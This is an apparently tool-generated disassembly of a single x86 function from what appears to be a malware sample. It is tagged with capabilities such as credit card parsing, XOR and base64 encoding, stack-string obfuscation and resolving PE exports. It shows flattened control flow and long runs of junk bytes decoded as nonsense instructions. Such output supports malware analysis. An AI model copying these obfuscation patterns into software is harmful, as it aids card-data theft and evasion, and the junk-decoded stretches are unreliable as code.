Function at 0x6dfa1eda
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x3a4
mov dword [ebp - 0x10], 0x8b3c5
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0x9e0ac
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
xor eax, 0xee195
or eax, dword [ebp - 0x1c]
je 0x6dfb9977
mov edx, 0xee195
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0xe2cf3
or eax, dword [ebp - 0x1c]
je 0x6dfb0ca7
mov edx, 0xe2cf3
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0xd8dc7
or eax, dword [ebp - 0x1c]
je 0x6dfa974f
mov edx, 0xd8dc7
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0xc5bfb
or eax, dword [ebp - 0x1c]
je 0x6dfbc867
mov edx, 0xc5bfb
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0xb41ec
or eax, dword [ebp - 0x1c]
je 0x6dfa50e7
mov edx, 0xb41ec
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0xaa12f
or eax, dword [ebp - 0x1c]
je 0x6dfb241f
mov edx, 0xaa12f
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0xa6901
or eax, dword [ebp - 0x1c]
je 0x6dfbb0ef
mov edx, 0xa6901
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0xa3946
or eax, dword [ebp - 0x1c]
je 0x6dfb530f
mov edx, 0xa3946
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x85dcf
or eax, dword [ebp - 0x1c]
je 0x6dfb81ff
mov edx, 0x85dcf
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x82840
or eax, dword [ebp - 0x1c]
je 0x6dfa7fd7
mov edx, 0x82840
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x74d8e
or eax, dword [ebp - 0x1c]
je 0x6dfb6a87
mov edx, 0x74d8e
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x66521
or eax, dword [ebp - 0x1c]
je 0x6dfaaec7
mov edx, 0x66521
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x61d39
or eax, dword [ebp - 0x1c]
je 0x6dfa21f7
mov edx, 0x61d39
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x5f6ea
or eax, dword [ebp - 0x1c]
je 0x6dfaddb7
mov edx, 0x5f6ea
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x5ded5
or eax, dword [ebp - 0x1c]
je 0x6dfb3b97
mov edx, 0x5ded5
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x465e1
or eax, dword [ebp - 0x1c]
je 0x6dfac63f
mov edx, 0x465e1
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x16095
or eax, dword [ebp - 0x1c]
je 0x6dfa396f
mov edx, 0x16095
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x12ce7
or eax, dword [ebp - 0x1c]
je 0x6dfbdfdf
mov edx, 0x12ce7
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6dfbdfdc
mov eax, dword [ebp - 0x20]
xor eax, 0x9a0f
or eax, dword [ebp - 0x1c]
je 0x6dfaf52f
mov eax, dword [ebp - 0x20]
xor eax, 0xd304
or eax, dword [ebp - 0x1c]
je 0x6dfa685f
jmp 0x6dfbdfdc
dec esi
dec esp
shr dword [ebp - 0x2f3a8772], 1
int 0xa4
imul ebp, dword [esi], 0x43
xchg edx, eax
xchg ebx, eax
arpl bp, si
sbb eax, 0x41a1d95d
aaa
mov ah, al
pop ecx
and byte [ebp + edi*8 - 4], bh
shr edx, 1
cmp byte [edx - 0x2b], dh
pushfd
ret 0x763e
mov edx, 0xb466cb8b
idiv byte [esi]
sub eax, eax
jbe 0x6dfa39b1
pop ds
xor eax, 0x6f23d57d
out 0xaf, al
lodsb al, byte [esi]
lodsd eax, dword [esi]
push ecx
rcr ah, cl
ret 0xc8c1
invalid
jno 0x6dfa3996
adc dh, cl
movsb byte es:[edi], byte [esi]
ret
das
mov word [esi], cs
pop edi
xchg edi, eax
xor dword [0x97390b91], edx
pushal
adc esp, dword [edi]
into
add al, 0x53
mov bh, 0x5b
and al, 0xba
xor al, 0xae
xchg esp, ebx
invalid
xchg ecx, eax
lahf
outsb dx, byte [esi]
invalid
dec ebp
sub al, 0xe6
inc edx
sub byte [ebx + esi*8 + 0xa], al
invalid
mov ah, 0x83
xchg ebp, eax
and byte [eax - 0x19], bh
popfd
scasd eax, dword es:[edi]
jae 0x6dfa7f6a
adc al, 0xa2
rol ebx, 0xb6
stosd dword es:[edi], eax
and al, 0xbd
dec ebx
add esi, edi
invalid
les esi, [edi - 0x48]
ror byte [esp + edi*2 - 0x218b2575], cl
movsb byte es:[edi], byte [esi]
and byte [eax - 0x1b], al
cmc
invalid
mov byte [edx + 0x5d3a1c1b], al
or ebx, edi
jo 0x6dfaae62
and dword [esi + eax*8], edx
cmp eax, 0x887217af
and esp, ebx
mov ch, 0xc7
cld
fadd st(7), st(0)
fincstp
sbb al, 0x93
pop eax
sbb edi, dword [esp + ebx*4 - 0x2d]
push edi
inc ebx
fcompi st(2)
cwde
sbb eax, dword [0x31b0168a]
xchg eax, edx
sbb byte [eax + ebp*8 - 0x54402985], dl
xchg ebx, eax
pop esp
jmp 0x40619f80
pop eax
dec ebp
enter 0xffffffffffffbb28, 0x67
ja 0x6dfaae6f
adc dword [ecx], eax
adc ecx, dword [ecx - 0x5a]
mov esi, 0xb8c8cdf6
out dx, eax
stosb byte es:[edi], al
push 0x1a44a511
adc dword [0x7465eefb], esi
xor eax, 0x7465eefb
sti
out dx, al
je 0x6dfaae55
loopne 0x6dfaae0d
xchg edi, eax
dec edx
sar ecx, cl
xor edi, dword [eax + 0x5b]
mov word [0x36fa61c2], ss
push es
ret 0x20b2
test al, 5
shl ch, cl
jecxz 0x6dfaae70
sub eax, 0xfe82802d
lahf
inc edi
xor byte [edi + esi*2 + 0xba0c934], cl
or eax, 0x8c3fe5a2
mov dh, byte [ebx]
cmp al, 0x71
test dword [esi], eax
iretd
cmpsb byte [esi], byte es:[edi]
ret
mov edx, 0x51017e9a
ret 0x21b8
test byte [ebx + esi*4 + 7], 0xec
fild dword [ebp + 0x7f]
pushal
pop eax
nop
daa
int 0xb3
aam 0xa9
int 0xc3
jmp 0x351ecbef
ret 0xb08f
or dword [ecx], ecx
inc esi
inc eax
adc bl, byte [esi + 0x63749799]
xor al, 0xb5
int3
out dx, eax
dec esp
cmp bh, byte [0xab65b7a0]
shl byte [ecx - 0x5ccf004], cl
dec esi
adc dl, ah
push cs
in eax, 0xb5
and edi, ecx
out dx, eax
push edi
fcomp qword [esi]
xor byte [ebp + 0x723de95f], dl
mov cs, ecx
sbb byte [edi], bh
dec cl
cmpsd dword [esi], dword es:[edi]
mov ebp, 0x8ba94ecc
cmpsb byte [esi], byte es:[edi]
adc bh, cl
jp 0x6dfb3b6f
fldcw word [ebx - 0x7a28227d]
hlt
inc esp
outsd dx, dword [esi]
fsubr st(6), st(0)
inc edi
cld
lahf
js 0x6dfb3b4e
or al, byte [ecx + 0xbe8e406]
mov dword [0x8b43], eax
int3
or eax, 0xd683e278
and edx, eax
sbb ebx, esp
adc byte [ecx + 0x1c856876], 0x44
stosb byte es:[edi], al
push esi
invalid
xchg edx, eax
sahf
jge 0x6dfb52eb
cmp al, 0x52
and dh, 2
pop esi
retf
scasd eax, dword es:[edi]
adc byte [ebx + ecx*8 - 0x15], cl
mov edx, 0x6c28e53c
dec esp
mov cl, 0xbb
dec eax
mov al, 0xe9
xor dword [edi], ebx
cmp ecx, ebx
invalid
loop 0x6dfb6ae4
sbb eax, 0x1cba02a8
jl 0x6dfb6a32
add al, 0xb9
aad 0xd5
retf
cmp ecx, dword [esi - 5]
ljmp 0x146a
mov cl, 0x13
imul ebp, dword [edi + ebx + 0x4cfb9ae0], 0xf9dbfa25
xor al, 0xd1
insd dword es:[edi], dx
sbb ah, byte [edx - 0x4ae6312d]
pop ebx
aad 0x4e
fisttp word [ecx]
or byte cs:[ebp - 0x76], dl
xlatb
cmpsb byte [esi], byte es:[edi]
ljmp 0x7a0a
push ebx
fidivr dword [ecx - 0x2b]
jb 0x6dfb81a4
invalid
int3
xor esi, edi
pop edi
jg 0x6dfbb0cc
sub ch, byte [ebx + eax*2 - 0x243c16ee]
inc ebx
push edi
add dh, dh
add bh, byte [ebx]
push esp
xchg byte [ebx - 0x40da3b83], cl
shl edi, 1
cmc
cdq
sub esp, edx
nop
int3
sahf
ror dword [ebp + 0x50], 0x79
leave
cmp eax, 0xd13e3adc
cli
jg 0x6dfbb0c9
mov byte [0x171a1d87], al
mov cl, 0xf
pushal
inc edi
fild qword [ecx]
nop
pushal
in eax, dx
aas
movsb byte es:[edi], byte [esi]
invalid
sbb esi, dword [edi + 0x5e]
dec edi
inc ecx
int1
stosb byte es:[edi], al
xor dword [esp + edi*8 + 0x10f75751], 0xffffffac
mov ecx, 0x12c692fe
shl dword [eax], 0x3f
cmp byte [edx], dl
jge 0x6dfbc840
xchg ebp, eax
dec esi
outsd dx, dword [esi]
jb 0x6dfbc7fe
inc ebp
inc esp
mov esi, 0xd14983e2
add al, 0xfe
scasd eax, dword es:[edi]
push esp
invalid
jnp 0x6dfbc7fa
retf 0x75e2
sti
aad 0x8b
dec ecx
mov dword [0x78aee66c], eax
cmp byte [esi], dh
sub ecx, ebp
jb 0x6dfbc817
jp 0x6dfbc8f5
lea ebx, [ecx + edi*8 - 0x45]
lcall 0x26de, 0xeeec8a5e
inc esp
retf 0xfb9f
inc eax
or bh, byte [eax]
in al, 0xee
push esi
fcomp dword [eax - 0xbc7da99]
pop dword [ecx - 0x1d]
retf
in eax, dx
xchg ebp, eax
daa
shr dword [esi + 0x32af0a62], 1
in al, dx
mov al, byte [0x94dddc2e]
dec esp
lds edi, [esi]
jo 0x6dfbc8b0
cmp eax, esp
shl byte [eax + 0x458577a5], 0x76
xor eax, dword [ecx]
or byte [edx - 0x42], cl
clc
inc edx
mov dh, 0x26
cmp eax, 0x3c360adf
cmc
cmp ah, byte [eax + 0x398f8b97]
in al, dx
cdq
pop edi
cmp al, 0x4c
mov es, edi
sbb al, 0xe2
mov ch, 0x90
aas
nop
int3
nop
jmp 0x6dfbdfe0
nop
mov dword [ebp - 0x30a], 0x610f4905
mov dword [ebp - 0x306], 0x6c00583b
mov dword [ebp - 0x302], 0x49026f23
mov dword [ebp - 0x2fe], 0x585b6179
mov dword [ebp - 0x2fa], 0x6f226c60
mov dword [ebp - 0x2f6], 0x61064902
mov word [ebp - 0x2f2], 0
mov dword [ebp - 0x28], 0x3f159
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0x5e806
mov dword [ebp - 0x2c], 0
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x38]
xor eax, 0xed9b6
or eax, dword [ebp - 0x34]
je 0x6dfc9d72
mov edx, 0xed9b6
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6dfcb4e7
mov eax, dword [ebp - 0x38]
xor eax, 0xbc116
or eax, dword [ebp - 0x34]
je 0x6dfbf92a
mov edx, 0xbc116
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6dfcb4e7
mov eax, dword [ebp - 0x38]
xor eax, 0x9d95f
or eax, dword [ebp - 0x34]
je 0x6dfcb4ea
mov edx, 0x9d95f
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6dfcb4e7
mov eax, dword [ebp - 0x38]
xor eax, 0x74987
or eax, dword [ebp - 0x34]
je 0x6dfc3f92
mov edx, 0x74987
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6dfcb4e7
mov eax, dword [ebp - 0x38]
xor eax, 0x6d5d6
or eax, dword [ebp - 0x34]
je 0x6dfc85fa
mov edx, 0x6d5d6
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6dfcb4e7
mov eax, dword [ebp - 0x38]
xor eax, 0x48c28
or eax, dword [ebp - 0x34]
je 0x6dfc570a
mov edx, 0x48c28
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6dfcb4e7
mov eax, dword [ebp - 0x38]
xor eax, 0x31972
or eax, dword [ebp - 0x34]
je 0x6dfc281a
mov edx, 0x31972
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6dfcb4e7
mov eax, dword [ebp - 0x38]
xor eax, 0x3167a
or eax, dword [ebp - 0x34]
je 0x6dfbe1b2
mov edx, 0x3167a
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6dfcb4e7
mov eax, dword [ebp - 0x38]
xor eax, 0x25bd6
or eax, dword [ebp - 0x34]
je 0x6dfc6e82
mov eax, dword [ebp - 0x38]
xor eax, 0x2a4c5
or eax, dword [ebp - 0x34]
je 0x6dfc10a2
jmp 0x6dfcb4e7
jmp 0x6dfbe1da
push 0xaa0f73e7
arpl word [ebx], di
mov esi, 0x1013e89f
in al, dx
or eax, 0x958c8dea
pop ecx
lahf
rcr dword [esp + ecx + 0x4488d72a], cl
cmc
sal ebp, cl
xchg esi, eax
ljmp 0x1fcc
xchg ebx, eax
or esp, dword [ebx - 0x2eeb0fae]
mov dl, 0xc6
wait
push ss
stc
and byte [edx], ch
mov ebx, 0xb1f5b9f7
jmp 0x488f1d25
jg 0x6dfc102e
push es
xor byte es:[eax + 0x5e], dh
sbb dword [ecx], 0x26129efa
ret 0x7fa4
leave
mov al, 0x67
mov ebp, 0x3ec2cceb
aam 0xd0
invalid
push esi
aad 0x5f
ja 0x6dfc1010
pop edx
mov cl, 0x73
xchg byte [edi - 0x4b], al
mov al, 0xa4
mul dword [edx]
lcall 0xd89b, 0xcd679b84
push ebx
push esp
add byte [eax + 0x71], ch
xchg dword [esi + ecx*4 - 0x69], edx
cmp esi, dword [eax + 0x41]
sub ch, byte [edx - 0x2446e4f5]
mov esi, 0x5ad554a0
nop
int3
push esp
jae 0x6dfc10e6
jl 0x6dfc10b8
sbb ah, byte [eax + edi*2 - 0x197989bc]
and al, 0x1d
salc
inc edx
pop dword [ecx]
sub cl, byte [ebp + 0x61dee99d]
cmc
fisub word [ecx - 0xb]
dec ebx
out 0x9b, eax
mov ecx, 0x28d59672
jb 0x6dfc106d
cmpsd dword [esi], dword es:[edi]
cld
mov esi, 0xc4df6d70
psrld mm5, qword [edi - 0x33]
add al, 0x59
mov bl, 0x5f
mov bh, 0xfd
lodsd eax, dword [esi]
sub edi, dword [edx]
invalid
int1
inc ebp
movsb byte es:[edi], byte [esi]
mov bh, 0x25
adc eax, 0x13c02b56
invalid
push 0xffffffffffffff83
or eax, dword [edx + 0x58ecf42f]
mov dl, 0xd9
mov eax, dword [0x39d34276]
mov dh, 1
das
out dx, eax
retf 0x441b
cmc
stc
mov al, 0xba
dec edx
iretd
dec edi
push eax
invalid
and esp, dword [edx - 0x40105be2]
lcall 0xacb3, 0x4bfecd00
ffree st(0)
test edx, eax
iretd
clc
aam 0x4c
xchg esp, eax
imul edi, dword [ebx], 0xffffffce
dec ebp
sbb ch, bl
aam 0xc0
fstp qword [0xc6bf5b84]
and dword [ecx], eax
rol byte [eax + ecx*8], 1
rcr dword [esi - 0x6d3ac1b3], cl
jbe 0x6dfc85c9
test eax, 0x6acce1a4
invalid
retf 0x4b71
inc edx
xchg esp, eax
xchg esp, eax
pushal
pop ebp
jmp 0x6dfc8599
pop ebx
in eax, 0x82
pop ebx
mov ebx, 0x3b436133
jle 0x6dfc9da2
sti
lds bx, [ecx - 0x61cb6bc0]
pop eax
clc
push edi
fldcw word [edx + 0x4a]
ret 0x3907
retf 0x8049
nop
jmp 0x6dfcb4eb
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0x18
lea eax, [ebp - 0x30a]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x40], 0x6a719
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], 0x1f153
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x48]
mov edx, eax
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x40]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x40]
mul dword [ebp - 0x48]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x50]
xor eax, 0xec8fb61b
mov edx, dword [ebp - 0x4c]
xor edx, 0xc
or eax, edx
je 0x6dfe46df
mov edx, 0xec8fb61b
mov eax, 0xc
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xdca69
or eax, dword [ebp - 0x4c]
je 0x6dfdd18a
mov edx, 0xdca69
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xd6519
or eax, dword [ebp - 0x4c]
je 0x6dfd44ba
mov edx, 0xd6519
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xd1735
or eax, dword [ebp - 0x4c]
je 0x6dfccf62
mov edx, 0xd1735
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xcf87f
or eax, dword [ebp - 0x4c]
je 0x6dfe2f6a
mov edx, 0xcf87f
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xc0052
or eax, dword [ebp - 0x4c]
je 0x6dfd15ca
mov edx, 0xc0052
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xb4956
or eax, dword [ebp - 0x4c]
je 0x6dfcfe52
mov edx, 0xb4956
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xaca32
or eax, dword [ebp - 0x4c]
je 0x6dfe17f2
mov edx, 0xaca32
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xa6dcd
or eax, dword [ebp - 0x4c]
je 0x6dfe007a
mov edx, 0xa6dcd
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xa5fe0
or eax, dword [ebp - 0x4c]
je 0x6dfd8b22
mov edx, 0xa5fe0
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0xa1527
or eax, dword [ebp - 0x4c]
je 0x6dfda29a
mov edx, 0xa1527
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0x94583
or eax, dword [ebp - 0x4c]
je 0x6dfd5c32
mov edx, 0x94583
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0x93e42
or eax, dword [ebp - 0x4c]
je 0x6dfde902
mov edx, 0x93e42
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0x81de3
or eax, dword [ebp - 0x4c]
je 0x6dfcb7ea
mov edx, 0x81de3
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0x6896f
or eax, dword [ebp - 0x4c]
je 0x6dfce6da
mov edx, 0x6896f
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0x5f690
or eax, dword [ebp - 0x4c]
je 0x6dfd2d42
mov edx, 0x5f690
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6dfe46e2
mov eax, dword [ebp - 0x50]
xor eax, 0x1fa54
or eax, dword [ebp - 0x4c]
je 0x6dfdba12
mov eax, dword [ebp - 0x50]
xor eax, 0x2cf89
or eax, dword [ebp - 0x4c]
je 0x6dfd73aa
jmp 0x6dfe46e2
pop esp
xchg byte [edx], cl
int1
retf 0x6738
stosd dword es:[edi], eax
into
push ebp
add eax, 0x82b0d893
sbb eax, 0x7e514cf
popfd
or cl, byte [ecx - 0x6fc65e1e]
movsd dword es:[edi], dword [esi]
mov al, 0x2b
jl 0x6dfccfa2
into
adc eax, dword [esi + 0x3a94f10a]
sub byte [ecx], al
add eax, 0xe2dacc10
imul esp
sar cl, 1
mov eax, dword [0x7c8dde73]
retf 0x6e22
out 0x56, al
xchg esp, eax
xor dh, bl
mov byte [esi - 0xc], al
lahf
mov esp, 0xadc554c4
lodsb al, byte [esi]
or dl, byte [0xa8444cde]
loopne 0x6dfcd036
aam 0xa4
sal dword [edi - 0xf], 0x9a
xchg esp, eax
or al, 0x98
das
scasb al, byte es:[edi]
or byte [ebp - 0x1a3f75ec], bh
aad 0x7b
xchg esi, eax
mov ch, 0xa3
ror dword [esi], cl
adc dh, byte [ecx]
int1
in al, 0x9f
cmp dword [ebx + 0xc], edi
fild word [ecx - 0x150d5ec3]
dec eax
xchg esi, eax
mov eax, dword [0x9648eaf2]
cmpsd dword [esi], dword es:[edi]
sbb edx, esp
jno 0x6dfccfdc
outsd dx, dword [esi]
add eax, 0x398eda28
mov byte [0x1927af53], al
std
imul ebp, dword [edi], 0x56
lodsd eax, dword [esi]
in eax, 0xbb
pop ds
or edi, dword [ecx + 0x5a]
aaa
mov ecx, 0x88367300
xchg ebx, eax
xchg esi, eax
retf 0x168a
wait
pop edi
aad 0x4a
push es
add al, 0x6d
invalid
inc edx
adc ebp, ebx
fnsave dword [ebp + 0x4f]
jne 0x6dfce72f
push ebp
mov esi, 0x8273c00b
rcl dword [ebx - 0x6a3e17e5], cl
dec ebp
fsubr qword [edi - 0x6c]
salc
push ebx
pop eax
mov ch, 0x46
lcall 0x9a71, 0xc9788fe0
xchg esi, eax
loop 0x6dfce744
dec esp
add bl, byte [ebx - 0x6353c0b4]
test dword [ebx - 0x1c691e1f], edi
push esi
jno 0x6dfce74e
hlt
xchg ebp, eax
jge 0x6dfce747
loop 0x6dfce77f
out 0xfb, al
xor eax, 0xb543952b
fidivr word [ecx]
xchg ecx, eax
jns 0x6dfce77b
imul edi, dword [esi], 0xffffff8e
in al, 0x45
mov fs, esp
inc ebp
mov bl, 0x18
or eax, 0xe1084d1b
mov gs, word [ebp - 0xc]
xor esi, ecx
pop ss
pop ebp
ret
loope 0x6dfce6de
insd dword es:[edi], dx
hlt
enter 0x1e00, 0x2a
xor edi, dword [esi + edx - 0x2f02ec50]
jno 0x6dfce7a1
mov al, 0x13
std
sal byte [ecx + 0x19], 1
nop
or byte [eax - 0x28], bh
pushal
invalid
movsb byte es:[edi], byte [esi]
jnp 0x6dfce7c1
or eax, 0xcc90b685
mov esi, 0x9f048da2
jae 0x6dfce7e6
sub bl, dl
xchg ecx, eax
xor byte [esi], al
popal
fisubr word [ecx - 0x77]
cmpsb byte [esi], byte es:[edi]
cmp bh, cl
das
dec ebp
push esi
pop ecx
sbb al, 0x56
cli
mov eax, 0x9ac7cb31
sahf
add al, 0xa
inc ebp
cmpsd dword es:[esi], dword es:[edi]
fiadd word gs:[eax - 0x471cbe37]
xchg edi, eax
xchg edx, eax
ja 0x6dfce782
push eax
cmpsd dword [esi], dword es:[edi]
imul ebp, esp, 0x7f
cdq
sbb dword [edx], esi
pop edx
lodsd eax, dword [esi]
in al, dx
in al, dx
sub ebp, ebx
mov esi, 0xd9f058ee
mov ebx, 0xc633780c
sbb dword [ebp + 0x4b], eax
mov edx, dword [esi]
push es
inc edi
add al, 0x3b
invalid
movsd dword es:[edi], dword [esi]
pmaxub mm2, qword [edi + 0xabecd39]
xchg edx, eax
inc ecx
lea eax, [edx]
call 0x66249184
ret
sal byte [esi + 0x2868ab20], 0xe1
loope 0x6dfd158e
xchg ebp, eax
invalid
mov cl, 0x28
invalid
sbb ebp, dword [edi]
mov edx, 0xc52220e
test al, 0xb3
mov esp, 0xa7584711
test dword [ebp + 0x5f], 0x3cf5a4cd
mov edi, 0xcc0025d3
sahf
add byte [ebx], dl
int1
ja 0x6dfd163e
jbe 0x6dfd157e
shl dword [ecx + esi*8 + 5], 1
shr dword [edi - 0x3079df2a], 0x52
cmpsd dword [esi], dword es:[edi]
jno 0x6dfd1618
sub eax, 0xa1b36e2d
and bl, byte [eax + 0xee45f6d]
shr edi, 1
mov byte [edi + ecx + 0xc0b157f], ah
aaa
ror byte [ecx + 0xc4d7f34], 1
cmp al, 0xe5
inc esi
xchg ebx, eax
in al, 0xf0
mov al, 0xb
mov ebx, 0x9ba8092c
rol byte [edi - 0x10], 1
fnsave dword [edx + 0x1c]
mov al, byte [0x24aca017]
ror dword [eax], 1
add ah, byte [esi + 0x72]
or al, 0x70
dec ebx
imul esi, dword [eax + 2], 0xffffffd4
or dword [ebp + ebp*8 + 3], esp
cdq
aad 0x69
mov edx, esp
xchg ebp, eax
iretd
dec ecx
out dx, eax
dec edx
adc dh, byte [eax - 0x623532e1]
aad 0xe0
sbb eax, esp
mov ebx, 0x7886b7e2
ror dword [esi + 0x5e], 0x34
add al, 0xe8
and dl, bl
mov al, 0x6c
and edi, ebx
inc esp
dec esp
pop ds
sbb byte [edi - 0x253524d7], dh
ror dword [0x81a9cf67], cl
xchg edx, eax
daa
cmp al, 0x3f
jg 0x6dfd2d70
pop es
mov al, byte [0x9616e387]
or al, 0xbe
sub byte [ebp - 0x4c868aaf], al
hlt
push ebp
ret
and dword [ebx - 0xc], 0x2c0674fd
sbb dword [esi + 0x799afc9f], ecx
adc al, 0x7d
pop ecx
mov dh, 0x3a
mov ebx, 0x2c6a8b6
inc ebp
mov byte [edx], 0x45
jns 0x6dfd5c14
mov eax, ss
rcr byte [0xf5e8094b], 1
sbb al, byte [ebp - 0x401cef3f]
lodsb al, byte [esi]
lcall 0xb1e9, 0xcc904446
ljmp 0xdb54
stosd dword es:[edi], eax
inc eax
push esp
fdisi8087_nop
add ebp, esi
in al, 0x6f
